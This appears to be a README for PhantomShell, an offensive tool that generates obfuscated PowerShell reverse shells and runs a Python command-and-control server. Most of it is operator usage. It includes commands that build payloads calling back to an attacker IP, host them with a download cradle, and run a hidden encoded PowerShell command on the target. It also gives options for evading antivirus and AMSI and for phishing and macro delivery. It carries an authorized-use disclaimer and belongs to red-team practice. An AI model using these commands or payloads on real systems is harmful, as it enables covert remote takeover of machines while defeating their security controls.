Red-team framework designed for authorized penetration testing and adversary simulation.
PhantomShell combines an advanced PowerShell payload generator with a lightweight Command & Control (C2) infrastructure, enabling red-team operators to generate payloads, host them, and manage reverse shell sessions.
PhantomShell generates obfuscated, base64-encoded PowerShell reverse shells designed to evade signature-based antivirus detection and AMSI scanning.
It automates tasks such as:
- variable obfuscation
- payload encoding
- multi-layer execution wrapping
- hiding IP and port values
- HTTP payload delivery
- polymorphic payload generation
All from one command-line tool.
No tool can guarantee that.
PhantomShell helps evade signature-based detection, but it cannot bypass every defensive mechanism.
| Technique | What it helps evade | What it cannot evade |
|---|---|---|
| Variable renaming | static signatures | behavioral detection |
| Base64 encoding | plain-text scanning | runtime AMSI |
| Multi-layer wrapping | shallow analysis | deep sandboxing |
| IP hiding | simple pattern matching | network monitoring |
| Polymorphism | hash detection | AI behavioral EDR |
Best evasion profile:
--obf-profile random
--layers 3
--enc-b64
- multi-layer PowerShell encoding
- AMSI-aware payload structure
- polymorphic payload generation
- randomized variable names
- multiple delivery formats
- lightweight Python C2 server
- CLI operator shell
- web dashboard
- multi-session handling
- remote command execution
- reverse shell generation
- HTTP payload hosting
- polymorphic payload variants
- session monitoring
Target Machine
โ
โ Reverse Shell
โผ
PhantomShell C2 Server
โ
โโโ CLI Interface
โ
โโโ Web Dashboard
No external dependencies.
git clone https://github.com/adrilaw/PhantomShell.git
cd PhantomShell
chmod +x phantomshell.py
chmod +x phantomc2.py
python3 phantomc2.py --help
python3 phantomshell.py --helppython3 phantomc2.py --port 4444 --web-port 8080 --password RedTeam2026python3 phantomc2.py --port 4444 --helppython3 phantomshell.py revshell -i 10.10.10.5 -p 4444Run the generated command on the Windows target.
Shell connects back to Terminal 1.
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444Copy the output and run it on the target Windows machine.
python3 phantomshell.py revshell -i <IP> -p <PORT> [OPTIONS]| Flag | Short | Description | Default |
|---|---|---|---|
--attacker-ip |
-i |
attacker IP | required |
--port |
-p |
listening port | required |
--obf-profile |
-o |
minimal/aggressive/random | aggressive |
--layers |
-l |
encoding layers | 1 |
--format |
-f |
payload format | powershell |
--enc-b64 |
hide IP and port | off | |
--keep-pwd |
show CWD | off | |
--do-not-hide |
disable hidden flags | off | |
--verbose |
-v |
verbose output | off |
Basic payload
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444Maximum evasion
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -o random -l 3 --enc-b64HTA payload
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f hta -l 2CMD wrapper
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f cmdVerbose mode
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -vStarts an HTTP server and prints a download cradle.
python3 phantomshell.py server -i <IP> -p <PORT>| Flag | Description | Default |
|---|---|---|
-i |
attacker IP | required |
-p |
reverse shell port | required |
--server-port |
HTTP port | 8000 |
-o |
payload filename | random |
--layers |
encoding layers | 1 |
--enc-b64 |
hide IP/port | off |
Example:
python3 phantomshell.py server -i 10.10.10.5 -p 4444Target execution:
powershell -NoP -sta -NonI -W Hidden -enc <CRADLE>Generate multiple unique payload variants.
python3 phantomshell.py polymorph -i <IP> -p <PORT>Example:
python3 phantomshell.py polymorph -i 10.10.10.5 -p 4444 -n 5Output example
Variant 1 profile=minimal FP:B0CCA4CD
Variant 2 profile=aggressive FP:06F530B1
Variant 3 profile=random FP:A273D56F
$client โ $c
$stream โ $st
$bytes โ $b
Fast and readable.
$client โ $xA1
$stream โ $xB2
$bytes โ $xC3
Default profile.
$client โ $mKpRx
$stream โ $zQ6v8A6
$bytes โ $hySOJ
Different every run.
| Layer | Description |
|---|---|
| 1 | utf-16le base64 |
| 2 | base64 wrapped in IEX |
| 3 | multi-stage base64 decoding |
Payload is verified before output.
| Format | Usage |
|---|---|
| powershell | direct execution |
| cmd | cmd injection |
| hta | phishing |
| vbs | macro delivery |
| mshta | one-liner execution |
# Listener
python3 phantomc2.py --port 4444 --web-port 8080 --password RedTeam2026
# Generate payload
python3 phantomshell.py server -i 10.10.10.5 -p 4444 -l 2
# Execute on target
powershell -NoP -sta -NonI -W Hidden -enc <payload>
Use only in authorized environments.
Recommended:
- firewall restrictions
- HTTPS proxy
- strong authentication
- infrastructure rotation
- log monitoring
This software is intended only for authorized cybersecurity testing.
Unauthorized use may violate computer crime laws.
The author assumes no liability for misuse.
PhantomShell is licensed under the GNU General Public License and the PhantomShell Commercial License- see the LICENSE file for details.
Dodin Mel Adrien Lawrence Enzo
Offensive Security | Red Teaming
LinkedIn
https://www.linkedin.com/in/dodin-mel-adrien-lawrence-enzo-5568b91b5/
Twitter
https://twitter.com/AdrienDodin
โญ If this project helped you, consider starring the repository.